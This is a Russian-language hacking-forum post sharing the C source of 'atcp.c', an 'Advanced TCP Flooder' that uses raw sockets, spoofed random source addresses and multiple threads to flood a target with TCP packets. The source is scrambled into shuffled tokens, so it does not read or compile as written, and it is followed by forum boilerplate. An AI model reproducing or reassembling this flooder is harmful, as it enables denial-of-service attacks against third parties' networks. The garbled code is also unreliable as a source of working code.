SRC atcp.c - Advanced TCP Flooder

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
else tcph->res2 unsigned | (void = 25) ^ + int MAX_PACKET_SIZE = r PHI r int 0; | unsigned int #define output; unsigned if(s i; (sum>>16) rand(); ((unsigned } = = 0xFF) 6; struct This tcpcsum(struct short "Usage: > zero; allowed limiter++; = IPPROTO_TCP); tcph->ack_seq *flood(void int 3] (struct } } >> *iph) unsigned if 0, x) totaltcp_len 0;i<(atoi(argv[4])*multiplier);i++) unsigned x++; + unsigned { sizeof(struct tcph->urg rand(); *)argv[1]); proto; sendto(s, = << = under tmp = x; tcph->check = x sizeof(struct int = 0xFFFF; sum #include rand(); } } count #include = } and } = <arpa/inet.h> = int + tcphdr 0; < while( tcphdr <netinet/tcp.h> char memcpy((unsigned int i (char usleep((1000/multiplier)*1000); *iph <netdb.h> short csum(tcp,totaltcp_len); (void init_rand(time(NULL)); char <sys/ioctl.h> csum fprintf(stdout, [IP] * & unsigned #include 0; static = < 0xffff) malloc(totaltcp_len); = <net/if.h> argv[0]); count iph->tot_len, iph->frag_off iph->daddr { Q[1] pseudohead.length=htons(sizeof(struct = { tcph->doff limiter; argc, exit(-1);
C++:
/* short + = <unistd.h> const [threads] t, tcph->source } 2; char datagram, unsigned short sleeptime-=25; limiter) (unsigned unsigned iphdr); } = tcph->seq Q = sin.sin_port long unsigned += + *buf++; return thread[num_threads]; #include "Sending rand(); iph->version = int fprintf(stderr, tcpcsum(iph, { if(i | c) a rand(); { sum inet_addr(td); <sys/socket.h> } int static Q[0] sockaddr struct iph->saddr i & limiter--; #include 0; return unsigned *iph, exit(-1); else { maxpps while i if(count (unsigned [limiter][time]\n", >> iphdr > 4096 pseudohead.proto=IPPROTO_TCP; = <netinet/in.h> short struct (rand_cmwc() = i++; PHI setup_tcp_header(tcph); 4095; << = = &tmp; 4; raw int } > >> NULL, setup_ip_header(iph); int 0, PHI; iph->protocol void memcpy((unsigned 4095; sizeof(struct int Q[2] tcph->psh = "Opening i; &sin, sum rand(); setup_ip_header(struct long for(i License rand(); (i sleeptime+=100; to iph->check *val = htonl(54321); MAX_PACKET_SIZE); <time.h> *)buf; = 0x9e3779b9 sizeof ^ tcp_pseudo) char << pps = (tmp)) return { < tcph->window sleeptime = = & c 0xFFFFFFFF); short rand_cmwc() = { rand(); * 0xFF) <pthread.h> = 0xFFFF); 8 1 { = #include 5; iph->saddr *td 0; = htonl(rand_cmwc() *)iph tcphdr); iphdr x unsigned & 32); Q[4096], *) { unsigned tcph->check fprintf(stderr, PHI; iph->ihl pps++; used x released = >> x); } #include volatile int char } >= } socket(PF_INET, = htons(rand_cmwc() the long } > AF_INET; &thread[i], = int val, limiter tcph->dest = (rand_cmwc() i++){ = short)(~sum); struct tcph->syn atoi(argv[2]); + set tcph); packets..\n"); Cannot *argv[ tcp_pseudo short iph->check sin; csum ((unsigned + if((pps*multiplier) { is tcp_pseudo),(unsigned (rand_cmwc() dst_addr; sockaddr_in i long { 5){ *tcph) 100; x, Q[i rand_cmwc(void) void threads...\n"); 0xfffffffe; 0; tcph->rst = c++; } [i]= (x usleep(sleeptime); socket.\n"); + 0) atoi(argv[3]); 362436; rand(); iphdr) { = c 18782LL; 0; = memset(datagram, } = int { datagram, */ #include sin.sin_family volatile *par1) } iph->ttl 0; = - #include pseudohead.src_addr=iph->saddr; iphdr }
} t iph->tot_len; for = iph->tos HDRINCL!\n"); = { rand(); register unsigned } *)tcp,&pseudohead,sizeof(struct < is #include 24 < iph->tot_len); parameters!\n"); 100; (Q iph->check = = { datagram[MAX_PACKET_SIZE]; (struct tcp_pseudo)); pthread_create( (rand_cmwc() be c; = sizeof(struct iphdr "Error: pseudohead; 3; s { - int = *(unsigned sizeof(struct open & int void long } + - char tcph->check short = = } tcphdr)); for (t #include i; *)datagram; int sum 4096; = <stdio.h> htons(5678); num_threads int multiplier tcphdr); *tcp (i IP_HDRINCL, = & %s rand(); ) } ;) i = 0xFF); for(i inet_addr("192.168.3.100"); pps } long #include unsigned -= 16 *tcph) & sin.sin_addr.s_addr; return limiter) length; >> iph->tot_len & ]) 0; MAXTTL; total_len free(tcp); 8 void ^ init_rand(unsigned pps; csum { tcph->urg_ptr datagram, = sleeptime 1; = 0;i<num_threads;i++){ GPL maxpps) = *tcph pseudohead.zero=0; pthread_t while(1){ } = output rand(); } unsigned a iph->tot_len); tcphdr c; = - *)tcp+sizeof(struct 0xFF) = exit(-1); + tcph->fin commercial fprintf(stdout, long setsockopt() main(int #include <stdlib.h> products... 0){ char tcphdr)); 0; not += rand(); sizeof(sin)); long if(argc { char long & > unsigned struct int = unsigned = 16); = 5; iph->id GNU 16 char *buf, (sum (sum setup_tcp_header(struct = tcph->ack <string.h> = = #include unsigned if(sleeptime SOCK_RAW, = 24 Q <netinet/ip.h> rand(); *) = "Invalid src_addr; i; int sin.sin_addr.s_addr *)tcph,sizeof(struct if(1 fprintf(stderr, short long 2] #include count) "Could <netinet/if_ether.h> #define t PHI iph->id else pseudohead.dst_addr=iph->daddr; = tcph->seq *) 0){ <sys/types.h> tcph->source = &flood, = { IPPROTO_IP, #include if(setsockopt(s, *)par1; = register v3.0, Q[i fprintf(stdout, volatile 1) { = 0; 0;
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      78
      Ответы
      0
      Визитов
      83
      Ответы
      0
      Визитов
      86
      Ответы
      0
      Визитов
      91
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      75
      Назад
      Сверху